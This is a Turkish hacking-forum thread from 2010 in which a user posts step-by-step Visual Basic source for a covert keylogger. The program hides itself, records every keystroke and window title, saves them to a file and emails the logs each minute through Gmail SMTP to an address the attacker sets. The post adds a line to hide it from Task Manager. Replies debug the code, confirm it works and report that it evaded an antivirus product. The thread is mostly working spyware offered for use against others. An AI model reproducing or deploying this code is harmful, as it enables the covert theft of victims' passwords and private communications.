Mailli KeyLogger Yapımı // ÇALIŞIYOR.KODLAR ALINTI ANLATIM BENDEN.

MrT-R4P · 14 Tem 2010

GÜNCEL \\ Dakika ayarLama ekLendi \\ Mailli KeyLogger Yapımı // ÇALIŞIYOR.

30dk'da bir kodu çalışmıyor.Yeni kod ve yeni konuda.Buyrun.
TIKLA KONUYA GİT

------------------------------------

Yapamadık Dediniz,Hata var dediniz.Bende Projeyi Paylaştım.Kendiniz Bakın ve Görün;

PROJEYE GİT

------------------------------------

EKLENDİ: Program gizli olsun ve görev yöneticisinde gözükmesin!
ACELE ET!!! EN ALTTA!!!

Öncelikle şunu söyleyim keyLoqqer kodları aLıntıdır(_RoC_) emaiL qönderimini ise shinnokh arkadaşımız yayınlamıştı ama çaLışmamıştı.Tam olarak herşeyi ayarladım.Size veriyorum.
2 ADET TEXTBOX;
3 ADET TİMER EKLİYORUZ.

Text1'in içini boşaltmayı unutmayın.Yoksa mailiniz başında her zaman Text1 gelir...
Text1=Visible False+MultiLine True

Text2=Visible False+

Timer1=İnterval 5

Timer2=İnterval 1000
Timer3=interval 60000
Kodlama için

Text1.Visible = False
Text1.MultiLine = True
Timer1.İnterval = 5
Timer3.İnterval = 60000
Timer2.Interval = 1000

Kod:

[B][COLOR=magenta]Keylogger kodları;[/COLOR][/B]
[B][COLOR=magenta]Forma çift tıklayın yada sağ tıklayıp View Code diyin ve herşeyi silin.Verdiğim kodu yapıştırın.[/COLOR][/B]

Kod:

[B][COLOR=magenta]Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer[/COLOR][/B]
[B][COLOR=magenta]Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer[/COLOR][/B]
[B][COLOR=magenta]Private Declare Function GetForegroundWindow Lib "user32" () As Long[/COLOR][/B]
[B][COLOR=magenta]Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long[/COLOR][/B]
[B][COLOR=magenta]Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long[/COLOR][/B]
[B][COLOR=magenta]Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long[/COLOR][/B]
 
[B][COLOR=magenta]Private LastWindow As String[/COLOR][/B]
[B][COLOR=magenta]Private LastHandle As Long[/COLOR][/B]
[B][COLOR=magenta]Private dKey(255) As Long[/COLOR][/B]
[B][COLOR=magenta]Private Const VK_SHIFT = &H10[/COLOR][/B]
[B][COLOR=magenta]Private Const VK_CTRL = &H11[/COLOR][/B]
[B][COLOR=magenta]Private Const VK_ALT = &H12[/COLOR][/B]
[B][COLOR=magenta]Private Const VK_CAPITAL = &H14[/COLOR][/B]
[B][COLOR=magenta]Private ChangeChr(255) As String[/COLOR][/B]
[B][COLOR=magenta]Private AltDown As Boolean[/COLOR][/B]
 
[B][COLOR=magenta]Private Sub Form_Load()[/COLOR][/B]
 
[B][COLOR=magenta]Me.Hide[/COLOR][/B]
 
 
[B][COLOR=magenta]On Error Resume Next[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(33) = "[PageUp]"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(34) = "[PageDown]"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(35) = "[End]"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(36) = "[Home]"[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(45) = "[Insert]"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(46) = "[Delete]"[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(48) = "="[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(49) = "!"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(50) = "'"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(51) = "^"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(52) = "+"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(53) = "%"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(54) = "&"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(55) = "/"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(56) = "("[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(57) = ")"[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(186) = "ş"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(187) = "="[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(188) = ","[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(189) = "-"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(190) = "."[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(191) = "ö"[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(219) = "ğ"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(220) = "ç"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(221) = "ü"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(222) = "i"[/COLOR][/B]
 
 
[B][COLOR=magenta]ChangeChr(86) = "Ş"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(87) = "+"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(88) = ";"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(89) = "_"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(90) = ":"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(91) = "?"[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(119) = "Ğ"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(120) = "Ç"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(121) = "Ü"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(122) = "İ"[/COLOR][/B]
 
 
[B][COLOR=magenta]ChangeChr(96) = "0"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(97) = "1"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(98) = "2"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(99) = "3"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(100) = "4"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(101) = "5"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(102) = "6"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(103) = "7"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(104) = "8"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(105) = "9"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(106) = "*"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(107) = "+"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(109) = "-"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(110) = "."[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(111) = "/"[/COLOR][/B]
 
[B][COLOR=magenta]ChangeChr(192) = """"[/COLOR][/B]
[B][COLOR=magenta]ChangeChr(92) = "é"[/COLOR][/B]
[B][COLOR=magenta]End Sub[/COLOR][/B]
 
[B][COLOR=magenta]Function TypeWindow()[/COLOR][/B]
[B][COLOR=magenta]Dim Handle As Long[/COLOR][/B]
[B][COLOR=magenta]Dim textlen As Long[/COLOR][/B]
[B][COLOR=magenta]Dim WindowText As String[/COLOR][/B]
 
[B][COLOR=magenta]Handle = GetForegroundWindow[/COLOR][/B]
[B][COLOR=magenta]LastHandle = Handle[/COLOR][/B]
[B][COLOR=magenta]textlen = GetWindowTextLength(Handle) + 1[/COLOR][/B]
 
[B][COLOR=magenta]WindowText = Space(textlen)[/COLOR][/B]
[B][COLOR=magenta]svar = GetWindowText(Handle, WindowText, textlen)[/COLOR][/B]
[B][COLOR=magenta]WindowText = Left(WindowText, Len(WindowText) - 1)[/COLOR][/B]
 
[B][COLOR=magenta]If WindowText <> LastWindow Then[/COLOR][/B]
[B][COLOR=magenta]If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf[/COLOR][/B]
[B][COLOR=magenta]LastWindow = WindowText[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]End Function[/COLOR][/B]
 
[B][COLOR=magenta]Private Sub Timer1_Timer()[/COLOR][/B]
 
[B][COLOR=magenta]'when alt is up[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then[/COLOR][/B]
[B][COLOR=magenta]AltDown = False[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'a-z A-Z[/COLOR][/B]
[B][COLOR=magenta]For i = Asc("A") To Asc("Z")[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
 
[B][COLOR=magenta]If GetAsyncKeyState(VK_SHIFT) < 0 Then[/COLOR][/B]
[B][COLOR=magenta]If GetKeyState(VK_CAPITAL) > 0 Then[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & LCase(Chr(i))[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & UCase(Chr(i))[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]If GetKeyState(VK_CAPITAL) > 0 Then[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & UCase(Chr(i))[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & LCase(Chr(i))[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
[B][COLOR=magenta]'1234567890)(*&^%$#@![/COLOR][/B]
[B][COLOR=magenta]For i = 48 To 57[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
 
[B][COLOR=magenta]If GetAsyncKeyState(VK_SHIFT) < 0 Then[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & Chr(i)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
 
[B][COLOR=magenta]';=,-./[/COLOR][/B]
[B][COLOR=magenta]For i = 186 To 192[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
 
[B][COLOR=magenta]If GetAsyncKeyState(VK_SHIFT) < 0 Then[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i - 100)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
 
[B][COLOR=magenta]'[\]'[/COLOR][/B]
[B][COLOR=magenta]For i = 219 To 222[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
 
[B][COLOR=magenta]If GetAsyncKeyState(VK_SHIFT) < 0 Then[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i - 100)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
[B][COLOR=magenta]'num pad[/COLOR][/B]
[B][COLOR=magenta]For i = 96 To 111[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
 
[B][COLOR=magenta]If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then[/COLOR][/B]
[B][COLOR=magenta]AltDown = True[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]Else[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then[/COLOR][/B]
[B][COLOR=magenta]AltDown = False[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i)[/COLOR][/B]
[B][COLOR=magenta]Exit Sub[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
[B][COLOR=magenta]'for space[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(32) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & " "[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'for enter[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(13) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & vbCrLf[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'for backspace[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(8) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & " "[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'for left arrow[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(37) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'for up arrow[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(38) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'for right arrow[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(39) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'for down arrow[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(40) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ""[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'tab[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(9) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & " [Tab] "[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'escape[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(27) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & " [Esc] "[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]'insert, delete[/COLOR][/B]
[B][COLOR=magenta]For i = 45 To 46[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i)[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
[B][COLOR=magenta]'page up, page down, end, home[/COLOR][/B]
[B][COLOR=magenta]For i = 33 To 36[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(i) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]TypeWindow[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & ChangeChr(i)[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]Next[/COLOR][/B]
 
[B][COLOR=magenta]'left click[/COLOR][/B]
[B][COLOR=magenta]If GetAsyncKeyState(1) = -32767 Then[/COLOR][/B]
[B][COLOR=magenta]If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then[/COLOR][/B]
[B][COLOR=magenta]Text1 = Text1 & " "[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
[B][COLOR=magenta]End If[/COLOR][/B]
 
[B][COLOR=magenta]End Sub[/COLOR][/B]
 
 
 
 
[B][COLOR=magenta]Private Sub Timer2_Timer()[/COLOR][/B]
[B][COLOR=magenta]On Error Resume Next[/COLOR][/B]
 
 
[B][COLOR=magenta]Text2.Text = "c:\mrt.txt"[/COLOR][/B]
[B][COLOR=magenta]Open Text2.Text For Output As #1[/COLOR][/B]
[B][COLOR=magenta]Print #1, Text1.Text;[/COLOR][/B]
[B][COLOR=magenta]Close #1[/COLOR][/B]
[B][COLOR=magenta]End Sub[/COLOR][/B]

Kod:

[B][COLOR=yellow]Timer3'e çift tıklayın ve içine verdiğim kodu yapıştırın.Kırmızı ile yazdığım yerleri kendinize göre düzenleyin.[/COLOR][/B]

Kod:

[B][COLOR=lime]Private Sub Timer3_Timer()[/COLOR][/B]
[B][COLOR=lime]Dim iMsg, iConf, Flds[/COLOR][/B]
 
[B][COLOR=lime]Set iMsg = CreateObject("CDO.Message")[/COLOR][/B]
[B][COLOR=lime]Set iConf = CreateObject("CDO.Configuration")[/COLOR][/B]
[B][COLOR=lime]Set Flds = iConf.Fields[/COLOR][/B]
 
[B][COLOR=lime]schema = "http://schemas.microsoft.com/cdo/configuration/"[/COLOR][/B]
[B][COLOR=lime]Flds.Item(schema & "sendusing") = 2[/COLOR][/B]
[B][COLOR=lime]Flds.Item(schema & "smtpserver") = "smtp.gmail.com"[/COLOR][/B]
[B][COLOR=lime]Flds.Item(schema & "smtpserverport") = 465[/COLOR][/B]
[B][COLOR=lime]Flds.Item(schema & "smtpauthenticate") = 1[/COLOR][/B]
[B][COLOR=lime]Flds.Item(schema & "sendusername") = "[COLOR=red]emailiniz[/COLOR]" [COLOR=red]' gene gmail olması lazım.[/COLOR][/COLOR][/B]
[COLOR=lime][B]Flds.Item(schema & "sendpassword") = "[COLOR=red]şifreniz[/COLOR]"[/B]
[B]Flds.Item(schema & "smtpusessl") = 1[/B]
[B]Flds.Update[/B]
 
[B]With iMsg[/B]
[B].To = "[COLOR=red][email protected][/COLOR]" [COLOR=red]'kendi mailinizi yazın ki loglar size gelsin.Gmail olmak zorunda çünkü smtp ona göre ayarLı.[/COLOR][/B]
[B].From = "Mail Post Server"[/B]
[B].Subject = "[COLOR=red]Mail konusu[/COLOR]" [COLOR=red]'kafanıza göre değiştirin keylogger vs.sallayın birşeyler[/COLOR][/B]
[B].HTMLbOdy = Text1.Text[/B][/COLOR]
[COLOR=lime][B].Organization = "Mail Organtion"[/B][/COLOR]
[COLOR=lime][B].ReplyTo = "-"[/B][/COLOR]
[COLOR=lime][B]Set .Configuration = iConf[/B][/COLOR]
[COLOR=lime][B]SendEmailGmail = .Send[/B][/COLOR]
[COLOR=lime][B]End With[/B][/COLOR]
[COLOR=lime][B]End Sub[/B][/COLOR]

[/CODE] BOMBA GELDİ...
Program gizli olsun ve görev yöneticisinde gözükmesin!

Gizlilik Kodu.Form Load'a

Kod:

Me.Hide

Görev Yöneticisinde gözükmesin Form Load'a

Kod:

[COLOR=#666666]App.TaskVisible = False[/COLOR]

Not:Sadece Uygulamalar kısmında gözükmez.İşlemler kısmında gözükür.
KÖTÜ HABER:App.TaskVisible = False kodunu kullanırsanız Antivirüsler truva atı olarak buluyorlarmış.

sonassas1 · 14 Tem 2010

anlatım Harika peki antilern tepkisi ne oluyor?

shinnokh · 14 Tem 2010

Kimden alıntı yaptın bunu ilk nete ben vermiştim burdada var konum

MrT-R4P · 14 Tem 2010

Senin verdiğin çaLışmıyor.Herkes Deneyebilir.

Antilere fudlanmamış.Bu sadece keyLoggerın kodLarı.

shinnokh · 14 Tem 2010

hayır çalışıyor ben bir çok kez yaptım şu anda pc yok elimde olsa size örneklerde veririm ama bekleyin gelcek

MrT-R4P · 14 Tem 2010

1.Çalışmıyor kodların
2.Bi tek ben demiyorum konudaki herkes diyor.
3.Herkes deniyebilir Paylaştım benden bu kadar

ahmo25 · 15 Tem 2010

en sondaki End With hata veriyo düzelt de wer

MrT-R4P · 15 Tem 2010

End Sub ekLe düzelttim

Agemon · 15 Tem 2010

End With hatası veriyor bi kontrol et..

Agemon · 15 Tem 2010

MrT-R4P' Alıntı:
End Sub ekLe düzelttim

End Sub da hata veriyor..

Agemon · 15 Tem 2010

bu seferde "kimden veya gönderen alanlarından en az biri gerek ama hiçbiri bulunamadı" diyor

imati · 16 Tem 2010

kardesım kodlar calısıyo ona bıse demıyom ama progamı acıyom 5dk fln gecıyo bu hatayı veriyo...

MrT-R4P · 16 Tem 2010

imati' Alıntı:
kardesım kodlar calısıyo ona bıse demıyom ama progamı acıyom 5dk fln gecıyo bu hatayı veriyo...

O Hatayı alma sebebin sensin.Mail adreslerini ve şifreni kontrol et tm mı ?
Bendede aynısı çıktı yanlış yazmışım e-maiLi.Smpt yede dikkat et.

# CaN. · 16 Tem 2010

Teşelkürler Yanlız Kodlardaki URL Link'i Neden Var Onuda Rica Etsem Açıklarmsn ?

# CaN. · 16 Tem 2010

Dosyayı Çıkartıyor Fakat Göndermiyor :S

crazy3131 · 16 Tem 2010

İlk Defa Çalışan Kodlar

Teşekkürler gelen Kutusu Aşağıda xD
Ayrıca Anti Virüslerde Gözükmüyor Denedim Nod32 de

MrT-R4P · 16 Tem 2010

crazy3131' Alıntı:
İlk Defa Çalışan Kodlar Teşekkürler gelen Kutusu Aşağıda xD
Ayrıca Anti Virüslerde Gözükmüyor Denedim Nod32 de

BAKIN SİZE KANIT ,FORM LOADA;
Me.Hide yazarsanız gizli oLur.

# CaN.' Alıntı:
Teşelkürler Yanlız Kodlardaki URL Link'i Neden Var Onuda Rica Etsem Açıklarmsn ?

Hangi urL Linkinden bahsediyorsun oan göre açıklayım?

efsane94 · 16 Tem 2010

bendede çalışıyor sorunsuz ama logları her 1 dk de yollaması kötü çümkü gmail hesabımız bloke olur o yüzden bunları 30 dk gelmesinin nasıl sağlayabiliriz bilen biri yardım edebilirmi acaba ?

Agemon · 16 Tem 2010

kardeşim o kodların timer 3 e eklendiğinden emin misin ? şu hatay bir baksana kodlama hata olabilir diye düzelttim ancak sonuç aynı

imati · 16 Tem 2010

Agemon' Alıntı:
kardeşim o kodların timer 3 e eklendiğinden emin misin ? şu hatay bir baksana kodlama hata olabilir diye düzelttim ancak sonuç aynı

kardeşim bendede bole hata veriyodu ben bı yerı yanlıs yapıyodum
Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "[email protected]"
Flds.Item(schema & "sendpassword") = "gmail şifren yaz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "[email protected]" 'kendi mailinizi yazın ki loglar size gelsin.Gmail olmak zorunda çünkü smtp ona göre ayarLı.
.From = "Mail Post Server"
.Subject = "Mail konusu" 'kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub

Mailli KeyLogger Yapımı // ÇALIŞIYOR.KODLAR ALINTI ANLATIM BENDEN.

Üye

Yeni üye

Katılımcı Üye

Üye

Katılımcı Üye

Üye

Üye

Üye

Özel Üye

Özel Üye

Özel Üye

Katılımcı Üye

Üye

Yeni üye

Yeni üye

Katılımcı Üye

Üye

Yeni üye

Özel Üye

Katılımcı Üye